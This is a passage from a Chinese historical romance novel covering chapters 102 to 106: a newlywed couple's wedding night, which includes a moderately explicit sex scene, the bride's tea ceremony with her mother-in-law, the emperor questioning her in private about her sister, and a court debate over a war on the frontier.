商凝语那日独自欣赏秘本,倒还没什么,这会儿和他一起看,眼神到处闪躲,江昱却不容许,捏着她的下巴,逼问:“哪个是我?” 商凝语只好认真看了两眼,却发现,人物画像都很模糊,线条虽棱角分明,锁骨清晰,但仔细瞧,当真没有任何一点可以说明这小人就是江昱。 回想当初,她也就是看到了一个边角,就觉得那个从锁骨直通喉结的部位十分像他,都怪自己大意,竟心直口快给说了出来。 商凝语顿时口舌干涩,嗫嚅道:“应该不是这本,嗯,可能当时看错了。” 江昱目光定定地看着她,直将她看了个透彻,方才了悟。 他心情好了不止一个度,但是,当务之急,不是计较这个的时候,他寻到精准画面,道:“给我看看是不是这里?” 商凝语被逼上悬崖,几不可闻地颔首:“嗯。” 第102章 半炷香后, 江昱扔了画册,重回床上。 他是携了雷霆之势,势必要夺回尊严, 准备让她见识一下“男人的本能”。 商凝语额间冒出密密的细汗,瑟缩着:“江昱, 你能不能轻点,慢点?” 江昱亦是苦不堪言,“你放松点, 我进不去” “怎会?是不是你又找错地方了?”商凝语忍不住质疑。 江昱咬牙:“不会, 这次绝不会错。” 岂料,他越说,商凝语越紧张,咬死不放,江昱切齿:“你再不松,我就要动粗了。” 商凝语极力放松心态, 放松, 放松,秘书上说什么来着?想想花, 想想草,蓝天和白云 江昱已是忍到极限,头埋在她的颈窝,不管不顾来了一招破釜沉舟, 商凝语腿脚瞬间蹬直, 浑身战栗, 书上简直胡说八道,竟说这是“鱼水之欢”,请问这哪里有一丝欢愉可言?这么痛, 他最好速战速决。 不曾想,念头才起,那厢江昱与她同时闷哼,一个机灵,如她所愿,丢盔卸甲,一塌糊涂。 二人同时一僵,江昱脑中一空,怔愣且郁闷之际,商凝语率先松了口气,将他推开,掀开被褥翻出白色丝帕,看到上面一抹嫣红后,将东西丢置床位,又在江昱复杂且晦涩的眼神下,传点翠送水进来服侍,便一头扎进了净房。 江昱眼神一路尾随,直至她砰的一声关门,才摸了摸鼻子,停在净房门口不远处。 怎会这样?他蹙眉自省。 到底哪里不对? 商凝语挥退点翠,泡进了热腾腾的浴水中,方才对今晚的“洞房”有了全面的认识,不由得闷头轻笑,前戏做那么足,还以为他多有经验,感情他也一样,都是纸上谈兵。 若非中间出错了一环,想来后面应该是有一点欢愉的,书上怎会欺骗人? 尊严扫地,看他以后怎么得瑟,反正她以后是不会主动了,就让他以为她失望得了。 银铃般的笑声透过门扉,传进婚房,听在耳中,叫江昱愈加郁闷。 商凝语穿戴好,传两名侍女从后面小角门将浴桶抬出去,而后整理妆容,不苟言笑地出了净房。 就只见江昱穿了一套素色里衣,凝眉坐在桌前,手里端着一盏茶水,不知喝没喝。 见她出来,江昱目光移过来。 此时无声胜有声,商凝语知道,自己该安慰他两句,但是话到嘴边,当真说不出口,只得道:“睡吧。” 江昱将打了一肚的腹稿收了回去。 也罢,还是明天继续吧。 双双摸上床,商凝语阖上双目,二人之间零距离,肩膀挨着肩膀,但鸿沟却如隔山海,江昱翻过身来,将她搂进怀里,柔声问:“还疼吗?” 商凝语睁开眼,目光清明,回:“不疼了。” 就那么一下,怎可能还疼?就是,有种说不出来的感觉。 江昱向来得寸进尺,闻言,立刻将瞬息前的决定抛诸脑后,翻身再次压上去,道:“再来一次?” 到底是新婚夫君,见他如此放低姿态,商凝语心底一片柔软,也不计较那么多了,双臂环上去,问上一个自己比较关心的问题:“你方才舒不舒服?” 江昱哪里还能受得了这个,当即俯下身去,用行动回答她。 桌上臂粗的红烛在风中摇曳,须臾,发出一声哔剥,府外隐隐约约传来打更的梆子声,三更了。 这下江昱足足做了两刻钟,直至最后,商凝语浑身瘫软,面色潮红,都顾不上他泰山压身了。 最后一丝意识消散前,她心想,这个洞房终于圆满了。 江昱回味了片刻,才发现她已经睡着了,笑了一笑,起身再去要了一次水。亲自抱着她去净房清理,而后将她放回被褥里盖好,又折返回净房。 一番折腾后,一直跳动的红烛终于安静地燃烧。 商凝语这一觉可谓是睡到了日上三竿,红烛早已烧尽,晨光透过窗棱照在纱幔上,在鸳鸯被上投下一片暗影,细尘飞舞,她猛地睁开眼。 恰在这时,江昱练完一套剑法回来,正好掀开床幔。 二人对视一眼,商凝语两眼懵懂,显然还是迷糊的。 江昱坐在床沿上,附身而下,在她的额头印下一吻,道:“早安。” 商凝语眨了两下眼,回:“早,现在是什么时辰了?” 江昱煞有介事:“不慌,才巳时三刻。” “” 商凝语顿时满血复活,倏地坐了起来,着急道:“你怎么不叫我?点翠,点翠” 点翠仓促跑进屋,身后服侍的侍女端着洗漱用具鱼贯而入。 商凝语顾不上抱怨,飞快地洗漱完毕,拉着江昱出门去给公婆敬茶。 第103章 这是商凝语第一次见清平长公主。 踏进屋子时, 她跟在江昱身侧,坦然镇定地看了一眼坐在上首的贵妇,与坐在旁侧的勇毅侯气质迥然不同, 勇毅侯面色慈善,看人的眼神始终透着一股亲和力, 而这位长公主,常年礼佛,却修养出了超出红尘的冷漠和疏离。 商凝语丝毫不敢小觑这位隐身佛堂却能掌握朝堂风向的婆母, 装作淑女上前跪下, 江昱扑通一声,也跪了下来。 商凝语暗暗瞠目,她记得,敬茶流程里,新郎官可没这遭,不过, 她也很快知晓, 江昱这是在给自己撑场子。 但是,这新婚头一日就让夫君“有了媳妇忘了娘”?商凝语一改从容, 眼神瑟瑟地又觑了一眼清平长公主。 新儿媳接连两次偷窥,清平长公主全都看在眼里,心里并无多大感触。 她这一生,如履薄冰, 所求不过“平安”二字, 先是她自己活着, 而后是皇兄登基,最后是阖府康全。 如今,也希望这个儿媳平平安安, 陪着昱儿白头到老。 儿媳这般胆大,过门新婚,就敢直视她这个婆婆,倒是符合所查的“胆大率性”四字评价,后面这一眼,也顿时叫她安了心,能舍位思考,不恃宠而骄,以和为贵,可见,是个明事理、顾大局的。 商凝语并不知晓,自己眼中不合时宜的举动,在不苟言笑的婆婆眼中,已经有了一套称意的解释。 她从点翠手里接过荷包,双手托举上呈,道:“母亲,这是我的绣样,儿媳资质愚钝,请母亲不要嫌弃。” 江昱眼睛扫过荷包,上面绣了一个总角孩童,绣线紧密,纹路并不平整,但胜在绣样别致,孩童仅用几根绣线勾勒出胖乎乎的轮廓,憨态可掬,衣着却是照着他素日喜好的那些紫衫改装而来的。 他眼底勾出一丝笑意,道:“哪里愚钝了?我瞧你是格外聪慧,知道娘急着抱孙子,特意绣了这副花样来表决心。” 商凝语瞠目,恨不得掐死他,竟然在她第一次见婆婆的时候胡说八道! 眼见清平长公主投眼过来,就要相信这种有损她名节的话来,商凝语赶紧垂目,澄清道:“阿娘莫要听他胡说,这是我照着世子的模样画的,常言道,儿子是阿娘的心头宝,儿媳送这副荷包,是有儿常伴母左右的意思。” 勇毅侯侧过身子来瞧,“确实有几分昱儿小时候的模样,哈哈,你心灵手巧,难为你有这样的心意。” 公公宅心仁厚,出言帮衬,商凝语不敢大意,含笑垂首,双耳却竖了起来静听长公主评判。 清平长公主目光在荷包上的小人身上逗留了片刻,不知想到了什么,眼里慢慢溢上一丝笑意和感伤,继而又很快消散,抬眼道:“你有心了,此物甚和我心意。以后都是自家人,行事放松些,我这里没有那么多的规矩,家里有武士,明日拨几个给你,昱儿若是行事不端,或是惹你不快,你也不必顾及我,叫他们替你教训他一顿便是。” 此言一出,商凝语脑袋宕机了一瞬。 “不,不用了,世子若是行有不端,自有母亲教诲,他若是惹我不快,我我自有法子与他磨合,这武士太过珍贵,儿媳就不用了吧。” 实在是太过突然,又匪夷所思,压根没有时间让她深思熟虑,考虑如何回应这句话,但商父从小告诉她,长辈的话必须得回。 时间不等人,她只能遵从本意,讷讷地回道。 勇毅侯闷头笑了一声,就连清平长公主,这下眼里也是露出满满的笑意。江昱歪着身子靠过去,唇瓣一动不动,用气音说道:“这是你婆婆给你的奖赏,你不想训我,收着也无妨。” “” 商凝语闹了个大红脸,忙道:“是,多谢,母亲。” 接着,给勇毅侯敬茶,勇毅侯很干脆,递了一个信封,商凝语接过来收下。 侯府人丁简单,清平长公主喜静,江潮便将族人都安排在另一间会客厅,这厢敬完茶,江昱就带着商凝语去了会客厅。 半个时辰后,商凝语又去宗祠上香,待一套见礼流程走完,已经临近晌午,清平长公主派人来吩咐,说自己累了,叫他二人回自己的院子用午膳,晚间用过晚膳后再来请晚安。 商凝语暗自松了口气,正待回屋歇息,前院突然匆匆跑来一随从,禀报说,宫里来了人,要新妇前去接旨。 商凝语满肚疑惑,接完圣旨,才知晓是皇后召她明日入宫,江昱提醒她,这门亲事乃是圣上钦赐,他们理应前去谢恩。 这自是无话可说。 商凝语在出嫁前,商家请了一位教养嬷嬷教导过宫中礼仪,如此倒也不慌张。 回到屋内,二人一同用完午膳,商凝语就开始秋后算账,“你以后在母亲面前,说话能不能换位思考,替我想想?” 江昱不明所以,倒了一杯茶水,递给她:“嗓子哑了吧?喝口水润润嗓子。” 而后,回答她的话:“我正是替你考虑,才说的话啊。” “我一个刚进门的新妇,你说我送给婆母的见面礼是儿孙的孙子,岂不叫母亲笑话我?”商凝语一口饮尽茶水,恨恨地盯着他。 看这架势,势必要在新婚第二日就开始与他“磨合”。 江昱低头一笑,从她手中拿走茶盏,道:“你不说,谁知道你是有‘儿常伴母左右’的意思?” 商凝语依旧瞪着他。 他上前,揽住她的肩膀,将人带到床上,二人和衣躺下,叹息提醒:“有些话,你得说清楚,母亲心思重,你不说明白,母亲会误会的。” 商凝语凝眉,思索他这句话什么意思。 须臾,顿悟。 江昱早些年遭遇宁平王不善对待,清平长公主为了压制他,冷落了他许多,然则,有哪个母亲真的愿意与儿子离心? 总角时的江昱,或许也是长公主心中无法弥补的痛,她贸贸然送个小江昱过去,长公主难免伤怀。 亦或许,怀疑她是在替江昱抱打不平? 商凝语顿时惊出一身冷汗。 江昱眼里也划过一丝涩意,若非商凝语今日歪打正着,他也没想到,母亲心里有这个结,看到母亲伤感的那一瞬间,他从前的不甘和屈辱,再一次在心中释然。 说那番话,也是为了告诉母亲,他已经忘了。 与此同时,正院那边,江潮也在和清平长公主说话,夫妻二人久别重逢,并无多少生疏,却也不甚亲密,就像彼此最熟悉的好友,相互尊重,相互信任。 清平长公主在抄经书,江潮敛起袖子替她研墨,道:“你近日,可有留心朝堂?” 清平长公主顿笔,抬眼看他:“你从不过问朝堂,怎么今日问起这话?” 江潮干咳一声,道:“是有些事,心中不定,担心会出事,所以问问。” 清平长公主倒也没急着问他何事,只继续落笔,道:“当今圣上杀伐果断,聪颖过人,不是眼里能容得下沙子的人,自昱儿在朝中立足,我就已经不过问朝堂上任何事了。” 江潮闻言并不意外,颔首道:“也好,昱儿如今成家立业,是时候让他自己闯一闯。” 说罢,夫妻二人一阵静默,直待清平长公主写完最后一字,江潮方才借口书房有事,离开一步。 嬷嬷送江潮至门口,躬身福礼,而后回转,合上房门,回到清平长公主身边,道:“这南蛮异心再起,幸好有侯爷游历岭南,公主派人前去查探,得知了这南蛮动向,早一步禀报给了圣上,才能让朝堂上早有准备。” “而侯爷突发奇想,前往岭南,无怪乎是想亲自见识一番亲家公治下的疆土,打探商家的虚实。千里迢迢,儿女亲事,却关乎了天下大事,公主放下朝堂却依然通晓国之命脉,看来这一切都是冥冥之中的定数,这商家,命中带吉啊。” 清平长公主笑道:“你是想说,钦天监算测,说新妇于昱儿有益,此言不虚吧?” “公主慧眼,什么都瞒不过公主。” 清平长公主笑了笑,放下手中笔,用掌心扇了扇纸面,道:“心是好心,就是有点投机取巧,也不知是福是祸。” “公主是说那个荷包?”嬷嬷想起那个针脚凌乱的女红,也不由得笑了,道:“作为新妇,小心一些也不为过。” 清平长公主面上不以为意。 嬷嬷忙道:“哎呦,公主,您是没吃公婆的苦,这民间不知多少女娘,出嫁时担心遭到婆婆的磋磨,绞尽脑汁地想法子讨好,进门后处处小心,在没生下长子立足前,大气都不敢喘。” 清平长公主这才听了几分进去,若有所思,少顷,道:“你亲自去选四个听话的武士,给她送过去,并且告诉她,我这里没什么规矩,七日后,你再与她说一声,晨昏定省都可以免了,我喜欢安静,叫她每七日来请个安就行。” “是。”嬷嬷应答。 第104章 翌日一早, 商凝语穿上盛装,和江昱进宫。 初春的京都,有刺骨的寒意, 她头戴七翟冠,身上穿了一件大袖吉福翟衣, 衣襟袖衽全部刺绣缠枝花纹,衣身织绣的翟鸟纹样纤毫毕现,云锦天章的深青盛装在晨曦的光芒里流光溢彩, 坐进车驾中, 她依旧不自觉地挺直了腰背,端坐如山。 江昱则穿了一身与她颜色一致,纹样相似的宽袖大袍,身子微斜,撑在那里盯着她瞧,眉宇风流, 一派鲜活恣意的模样。 商凝语身形不动, 拿目光乜斜他一眼。 他维持这个动作,已经有一会了, 也不怕胳膊酸。 江昱笑话她,道:“见公婆都不见得你这般紧张,入个宫而已,叫你如临大敌。” “胡说, 我是心疼这身衣裳, 长这么大, 我都没想过穿这么美的衣裳。”商凝语不怕他点破,就怕他似笑非笑,一直意味不明地盯着她, 那目光,简直让人无所遁形。 闻言,矢口否认自己初次进宫,这紧张的心情。 “这只是世子夫人的冠服,还能美得过你的婚服?新婚夜里也没见你多穿一会给我瞧瞧。” 江昱虽是如此说着,口气也充满了不屑,但眼梢眉角,无处不流露出“唯我,让你美得如此不可方物”的自得,口气里,又多有遗憾。 这人,就是这般虚荣自大,商凝语不理他。 这冠服自是与婚服不一样,婚服是给别人瞧的,而这冠服是穿给自己看的,看衣裳的精致华美,看世子夫人的光辉与荣耀。 今晨,也就是成亲第三日,宫里派人送来世子夫人的冠服,授夫人衔,穿上这一身,她切实体会到了,自己嫁的是谁。 他不仅是江昱,而且是勇毅侯世子,天皇贵胄,圣上临朝称制时期的肱骨新臣。 进宫的路很是顺利,在进入三重宫门后,一名内侍远远跑了过来,行礼道:“世子,圣上让您去紫宸殿,江少夫人,皇后娘娘在坤宁宫等您。” 商凝语微讶。 她尚未说什么,江昱已经说道:“你去跟娘娘说,我们稍后再去。” 言下之意,要一起先去面圣,再去坤宁宫问安。 内侍似乎早有准备,移步挡在江昱面前,道:“坤宁宫的女官早就传话来说,娘娘等候多时,圣上体恤娘娘,着少夫人不必前去紫宸殿耽搁时辰,圣上还说,有要事寻世子商议,不得延误。” 江昱蹙眉,最近朝堂上称得上“要事”的,莫过于南蛮卷土重来一事。 南蛮幼王急功近利,去年年初举办了一场春猎,却不小心误入雾瘴山林里,虽然被救了回来,但大病一场,此后身体一落千丈,秋日里,王室寻到了前南蛮王的另一位子侄,入主正宫,意欲取而代之,先前造反而后被江昱率兵镇压的叛军死灰复燃,亦欲拥立新王登基。 新王立威的第一件事,就是推了和大盛的契约,骚扰边境,企图拉拢更多亲信。 这实在是不明智的举动,毕竟,大盛国力强盛,当今圣上在西北威名远播,一个不慎,便会遭来大盛的强势倾轧。 这位新王却学起了中原二流子故弄悬殊那招,一面骚扰岭南边境,一面派亲信前来京都面圣,祈求得到永宁帝的支持。 朝堂上,近日便是为这是吵得沸反盈天,一方面,南蛮新王两面三刀,主战派以为,应该再派兵前去南蛮,教训一顿这位新王,另一方面,今年江南一带水患严重,江河上的堤坝亟待重修稳固,国库虽充盈,但实不该浪费在这种撑场面的事上,应当重新与新王签订契约,以结秦晋之好。 圣上此刻召他,大概是想问问他的意见。 江昱一时间踌躇,他实不想在商凝语第一次进宫就丢下她一个人。 商凝语瞧出了他的犹豫,道:“你去吧,放心,我哪也不去,就在坤宁宫等你来接我。” 现如今,她也能抓住江昱的要害,知道他顾虑为何,一语解了他的担忧。 江昱略一思考,点头应允:“好,我这边结束就立刻去寻你。” 内侍垂下眼帘,躬身示意:“少夫人请。” 商凝语跟着内侍沿着宫道一路向内,红墙碧瓦,琉璃芳翠,一点点从眼前划过。 她倒也真的不害怕,不是她胆大,也不是愚昧到以为皇后不知晓圣上与商明惠的关系,实在是江昱乃至清平长公主给她的底气,审时度势一番后就能确定,皇后娘娘既然传唤她,就不敢不护她周全,再者,这宫里只皇后一个女主人,也无人戕害她。 这位皇后娘娘乃是定远侯的独女,传言知书达理,端庄贤淑,习艺馆中将她当年的字画留作藏品,至今收在字画楼中。 进了坤宁宫,皇后果真在等候,只见她一身华服,庄重地端坐在雕花攀凤椅上,见到门口入门身影,神色未动。 商凝语下跪请安,皇后也并未为难她,甚至在她起身后,淡淡地称赞了两句。 商凝语言谢,此后二人有一句每一句地搭着话,虽不至于冷场,但这感觉实在令人无奈。 作为朝廷命妇,必须进宫谢恩,而皇后显然并不乐于见到她,只是碍于礼节,不得不见。 这就奇怪了,既然如此,何至于三催四请,将江昱支开,传她一人前来? 商凝语面色不动,恭敬地回话。 凡是皇后娘娘问她的兴趣喜好,她就举例一一说明,凡是问她在夫家可好,那就可劲的夸江昱和长公主婆婆,总之,不说一句京都城内任何人的不好。 渐渐地,皇后也觉得没意思,无聊地打了个哈欠,商凝语眼尖,察觉她乜斜了身侧女官一眼,立刻垂下眼帘,假装未曾瞧见。 少顷,果然,皇后寻了个理由离开。 人去楼空,空旷的大殿忽然只剩她一人,她无语望天,真的没想到,进宫谢恩是这个样子。 好像这一身凤冠霞帔,穿了也没人看,要不待会去京都街市上逛逛?只露个脸显摆一下也成。 就在她天马行空时,门口突然传来动静,她立刻放下抻直拉伸的双腿,正襟危坐,并转头瞧去。 只见此刻原本有紧急要务,应该在紫宸殿接见江昱的永宁帝,突然出现在门口。 “” 商凝语心中一惊,瞳孔震颤。 这是什么情况?皇后帮着皇上假传圣旨,抛开崇拜他的表弟,前来见她这个弟媳? 商凝语眉头紧锁,起身下跪:“臣妇叩见圣上。” 赵寰面色冷峻,一步一步从她面前走过,坐到方才皇后坐着的位置,却并未叫她起身。 商凝语稍等了片刻,终是按捺不住,抬头瞥了一眼,却见永宁帝神色莫名地盯着她,恰巧将她的目光抓了个正着。 商凝语一个哆嗦,垂下眼帘,但转念回神,此刻显然不适合再欲盖弥彰,只好顺势出言,问道:“不知圣上召见臣妇,所为何事?” 赵寰盯着她的额头,有片刻的失神,直至她抬起头,露出一张完全不同的脸,方才更换了神色。 落下眼睑,道:“你来猜一猜,朕偷偷见你,是为何事?” 声音低沉且冷硬,透着帝王的威严,叫人心口不自觉地瑟缩。 商凝语再有恃无恐,此刻也免不了心惊,这是长公主婆婆的颜面都不顾了? 第105章 商凝语心中虽然无法抑制的胡思乱想, 甚至渐发的离谱,但脑子还是清明的。 稍作思考,垂首答道:“请圣上恕罪, 臣妇愚昧,仅见过圣上一面, 无法凭空猜测圣意,请圣上明示。” 她自认规规矩矩,没有错漏可言。 赵寰盯着她, 神情淡漠, 道:“少夫人油嘴滑舌,薄情寡义,枉瑾弋对你情深意重,痴心错付。也罢,朕这就再下旨,赏几名名媛淑女给他, 希望他能迷途知返, 朕也不辜负姑母一片护犊之心。” 嗳? 商凝语瞠目,强忍了心头骤然涌起的怒火, 匍匐在地,闷声道:“圣上息怒,臣妇实在不知这‘薄情寡义’从何而来,还请圣上明示。” 赵寰不紧不慢道:“五年前, 你从岭南回京, 涉世未深, 诸事不明,是你四姐姐引你结交权贵,在京都站稳了脚跟, 而今,你攀上侯府,一朝嫁入高门,却置你四姐姐于不顾,任她飘零在外,寄人篱下。这不是薄情寡义,是什么?” 商凝语眉宇冰冷,感情您地位尊崇,就可以倒打一耙,胡吣一气? 且不说当年您不辞而别伤四姐姐至深,就说商家,阖家背井离乡,两位长辈以身投诚,四姐姐又如何还能与您再续前缘? 这事放在任何一个人身上,都得膈应死。 她垂首,姿态恭顺,“圣上此言差矣,四姐姐一生束缚太多,而今能逍遥在外,环游四方,与她而言,不可谓不是一件幸事,我替她高兴都来不及,又怎能阻止?” 语毕,商凝语通身畅快。 这些话她早就想说了,可惜,商家七娘子身份低微,不足以上达天听,得益于江昱,叫她有恃无恐,说了个痛快。 可惜,她并不知道当年他二人分开的具体细节,否则,定要再讽刺几句。 赵寰冷哼:“伶牙俐齿,我且问你,你四姐姐只身在外,可有自保能力?” “国公府会派人保护她的。”商凝语不假思索。 赵寰讥讽道:“若当年你潜逃去往岭南,商家满门抄斩,你舅舅家可能护你一世周全?或许,你喜欢过这种寄人篱下的日子?” 商凝语倏地闭嘴,面色沉了下来。 显然,不可能,外家始终是外家,哪能有自家的好?她宁愿只身乞讨,也不会顶着失势的双亲去面对舅母和表哥。 这是她一直忽略的事情,或许是因为国公夫人太过热情,亦或许是商父一直以来的默许,让她以为,四姐姐依靠国公府,比在商家更好。 然则,经过永宁帝提醒,她猛地回神,商父的默许或许是迫于无奈?国公府的热情亦有可能是因为老太君? 听闻老太君的身体大不如前,只在这两年了。 靠山山倒,靠别人,终究靠不住。 赵寰盯着她,心里渐渐有了些许改观,这个女娘,的确聪慧,一点就通。 而且,还有一点良知。 商凝语不再意气用事,但她也不知道该怎么办。 商明惠在宜城的那些年,她看在眼里,商明惠过得并不开心,不,准确说,她从未开心过,冷漠、疏离,在老太太以及国公府上,她才会流露出一些女娘的娇气,然则,她本性并非如此。 商明惠就像她做的冰酪,不仅触及寒凉,而且在表面也敷了一层奶皮,奶皮存温,一旦撕开奶皮,里面的冰就会散发出寒气,拒人千里之外。 商凝语早就想明白,商明惠这种性格来源于自幼生长环境,她无法更改,大约商明惠自己也不明白如何走出那种寒凉的困境,她早已习惯地,将自己缩在一个自认为安全舒适的角落里。 但是,眼前这个不可一世的帝王可以,他是曾经唯一让商明惠敞开心扉的人。 商凝语在心中衡量,并换位思考,若她是商明惠,会愿意回到这座围城里来吗? 答案,不知。 商凝语木着脸道:“四姐姐的想法,我从未得知,圣上若是有话要说,寻臣妇实在是寻错人了。” 赵寰转动指间的翡翠扳指,室内一阵静默,就在商凝语以为他放弃时,听他问道:“这几年,只有你与她接触最多,也唯有你,对她还有几分真心,依你之见,朕可以采取什么样的方法,让她接受?” 商凝语就知道,监视宜城的,不止江昱,还有这位。 她脸黑如墨,然则,不等她思索回答,赵寰又接着说道:“让宁平王身死?抑或是,朕再下道旨意,广选后妃?其实,这世上容貌相似的人,多如牛毛,她不必介意这些。” 商凝语眼睛挣得犹如铜铃,宁平王的性命,据说受先帝临终托付,不能如此草率斩杀吧? 广纳后妃?同是女人,实在不敢苟同这个做法,若是她,铁定躲得远远地,此生都不会再回京都,前尘往事,就让它烟消云散吧! 能有如此想法,不怪乎当初能做出不告而别的事来。 “不行?”赵寰眼眸里浮上一丝危险讯息。 商凝语却从来不是贪生怕死就退缩的人,尤其是,此刻还关乎到她最爱的四姐姐的终身幸福。 她诚恳道:“臣妇以为,宁平王的确是四姐姐不肯回京的重要原因之一,但先帝属意宁平王看守皇陵,若四姐姐对圣上尚存一丝留恋,也不会希望圣上罔顾先帝旨意行事,此事还请圣上三思。” 笑话,若是宁平王突然暴病而亡,随后后宫出现一位形似宁平王侧妃的妃子,天下悠悠众口,吐沫星子都能将四姐姐淹死。 “扩充后妃,此乃皇后该关心的事,请恕臣妇不能置喙。” 言下之意,宁平王要解决,但手段不能如此刚烈,充盈后宫?那得问皇后,若商明惠答应进宫,那也得问问商明惠。 反正意思就在这儿,该怎样做,就看您的了。 商凝语默默心想,回头就去写封信,提前知会四姐姐一声。 赵寰得了自己想要的答案,轻轻一笑,起身整理了衣袖,道:“行,耽搁了时辰,瑾弋该着急了,你就在这里继续等着吧。” “是。”商凝语起身恭送。 赵寰一离去,皇后身边的女官就来了,奉上茶水和糕点,福礼道:“江少夫人见谅,娘娘今日犯了头痛症,此刻已经歇下,下官这就送少夫人出宫去。” 这自然最好,如此一番惊吓,商凝语宁愿去宫外等江昱。 事实上,江昱在紫宸殿坐了半刻钟,立刻察觉出不对劲,圣上紧急召见他,却并未在紫宸殿等候,再思及内侍前来传唤商凝语时的言行,便猜出了内情。 当即不顾内侍的阻拦,离开紫宸殿,往后宫寻去。 只是,他在走出紫宸殿时,撞见了华阳长公主的新任驸马。 二人相见,俱都默契的对对方选择了忽视,目不斜视,擦肩而过,继续前行。 然则,走出十步远后,二人同时驻足,双双回过头来。 江昱蹙眉,率先发问:“你从哪个宫来?” 陆霁稍作迟疑,敛眉回:“长公主早已搬出内宫,我从公主府来。”而后道:“听闻世子大婚,陆某在此,恭贺世子夫妻和顺,与少夫人恩爱两不疑。” 江昱听了,眼里闪过一抹深思,他也算阅尽千帆,能辨别出,陆霁口中的祝福,十成十的真心。 “多谢。”江昱垂眸,真诚道。 赵寰远远走来,就见二人驻足交谈,看二人站行位置,猜测出发生了什么,心头微松,扬声道:“陆爱卿,这是来见朕?” 陆霁躬身行礼,道:“正是,微臣不知圣上外出,多有打扰,还请圣上恕罪。” 赵寰瞥了江昱一眼,江昱行礼后,面色不善地瞪着他。 自知理亏,赵寰虽是不惧,但若有一人来插科打诨,小事化无,那再好不过。于是便问陆霁:“所为何事?” 陆霁也不必着江昱,拱手道:“事关南蛮求和一事,微臣拙见,请圣上裁听。” 江昱眼光投射过来,陆霁的能力,他早有领教,多年前在京郊行苑见微知著的表现,他至今难忘。 只是,他如今身为驸马,还管什么军政大事? 不过,这会儿江昱一点也不想再回去“商议要事”了,是战是和,他奉命行事便是。 赵寰见状,道:“好,你随朕来,瑾弋,今日是你新婚,谢恩就免了,早些带商氏出宫去吧。” “是。” 江昱在离开的道上,撞见坤宁宫派来的宫女,这才得知商凝语已经出宫去了,立刻折返,往宫外走去。 走出宫门,果然瞧见自家马车停在门外,门口守将朝他行礼后,不忘用眼神揶揄地递了递车厢内。 江昱拱手言谢,上了马车,才松了口气。 商凝语见他好似如临大敌的模样,好奇地问他怎么了。 江昱坐到她身侧,伸手揉了揉她的鬓角,反问:“圣上问你什么了?” 商凝语将赵寰的话说了一遍,江昱流露出“果然如此”的神情,再听到她的回答,已经无奈到了极致。 “你这胆大包天的性子真是不分对象,后宫的主,你也敢做。” 商凝语为自己叫屈,“我没将话说死,最后做决定的自然还是圣上和皇后,怪不到我头上。” “是是是,就你最聪明,下次再也不让你独自进后宫了。” “我还不想来了,这一身衣裳,压得我喘不过气,好难受。” 第106章 赵寰领着陆霁折返, 在殿门口,又遇兵部侍郎张童。 此人正是多年前,宣德帝为警示旧太子而提拔的新人, 有勇有谋,处事果决, 然则,此刻,他也顾不上旁侧还有一个本不应该干涉朝政的驸马在场, 远远瞧见永宁帝出现在丹墀台前, 便马不停蹄地提着蔽膝上前。 拱手对永宁帝道:“圣上,八百里加急,三日前,西北乌孙与南蛮串谋一起,合兵十万大军,分两队攻我西路两境, 而今, 南蛮新王的路已经绕过岭南,兵锋直指蜀州。” 永宁帝闻言, 眉头一皱,吩咐内侍去传唤几位中枢大臣,陆霁掀了眼皮,眼见赵寰脚步不停地进了殿内, 稍作迟疑, 抬步跟上。 张童正心急如风, 无暇他顾,紧随在永宁帝身后,将眼下西南局势详细分说, 陆霁便垂首竖起耳朵旁听。 不需内侍到府上一一通知,几位中枢大臣也纷纷得知消息,前往紫宸殿,须臾,殿内几位大臣便开始吵上了。 此次争吵,倒与先前有所不同,不再是主战与主和派的争论,而是该如何派兵南下,主将为谁的争论。 “臣以为,应该派定远侯出征西南,一来,西南乃烟瘴之地,非熟识不能入,而这三年,定远侯一直驻守在西南境地,对西南地形环境了如指掌,二来,定远侯乃皇亲国戚,前去镇压南蛮,既可以振我军威,又可以借圣上之名,震慑西北乌孙。” “定远侯镇守西南,却让南蛮绕道而入,尔等还要举荐他南下迎战,莫非是嫌南蛮侵入我境内太慢不成?启禀圣上,臣举荐勇毅侯世子江指挥使助战西南。” “臣以为,兵部侍郎张大人可以前往西南,江指挥使可以前往西北,对抗乌孙。” 永宁帝听了一言不发,直待几人各抒己见,随着时间的推移,意见愈发明确,他方转移目光,留意到落在五位中枢大臣后头的陆霁。 思及他先前所说,有关于南蛮叛乱一事要禀奏,略作一顿,问:“陆卿,你为何一直不说话?” 陆霁上前一步,拱手道:“启禀圣上,臣心中有一惑,想讨教诸位。” 永宁帝:“说来听听。” 陆霁:“诸位为何执意迎战?臣听闻,前不久,南蛮兵扰我西南边境,那时,诸位有一半的人同意谈判,主张以和为贵,而今怎会临阵倒戈,又主张兵戈相向?” 有一位大臣冷嗤:“自然是因为乌孙。若只有南蛮倒也罢,我大盛国威甚浓,和谈不过是给黎民百姓一个喘息的机会,但如今有乌孙合力举兵,如此作为,显然是得知我中原腹地近年遭遇的种种重创,若周边小国再纷纷效仿,岂非给我朝埋下祸患?” 有人冷笑:“陆编修,大是大非面前,要懂得取舍,若这个都不懂,不如回去再读几年史书,瞻仰古能圣贤,再来学习如何经世致用。” 陆霁并不生气,面色平静地道:“多谢二位大人解惑,但下官仍有担忧。” 他垂首,并不见二人一惊一沉的目光,继续道:“往年天灾频发,百姓心怀期盼,日日坚守,果幸,去岁凛冬降雪,今春又天降祥瑞,民间欢呼雀跃,眼见否极泰来,今年会是一个风调雨顺的丰收年节,百姓安居乐业指日可待,而今却又要再兴战事,只怕民心动荡,群民躁动。” 朝堂之上,顿时为之一静。 从面上看,众人又何尝不明白这个道理,只是,事急从权,只有先攘外,方能安内。 这位驸马如此说出来,又有何意义?不过是叫人看在圣上和华阳长公主的面子上,再对他忍让罢了。 陆霁稍作停缓,目光从几位萧索落寞的背影一一扫过,接着道:“与其面临内忧外患齐发的困境,下官依旧以为,不如继续和谈,不战而屈人之兵,方位上计。” 仍旧是前面第一个回答问题的大臣,出言冷嘲:“南蛮和乌孙联盟,二者皆是蛮横无礼之辈,你想要和谈,简直天方夜谭。” 陆霁撩开蔽膝,跪在地上,道:“启禀圣上,臣愿意前往南蛮,重新签订和议。” 永宁帝略作沉吟,问:“你有什么需求,可以一并提出。” “臣希望,由勇毅侯世子江昱前往西北,震慑乌孙,随臣调遣。”- 消息不胫而走,很快传到了商凝语的耳朵里。 彼时,江昱去到前院听圣上口谕,她正在屋内查看孙苗苗寄给她的信,孙苗苗五年前出嫁,而后随夫外任,这几年只生了一个孩子,此次便是又怀有身孕,这才不能回京赴宴,写信是恭贺她新婚大喜。 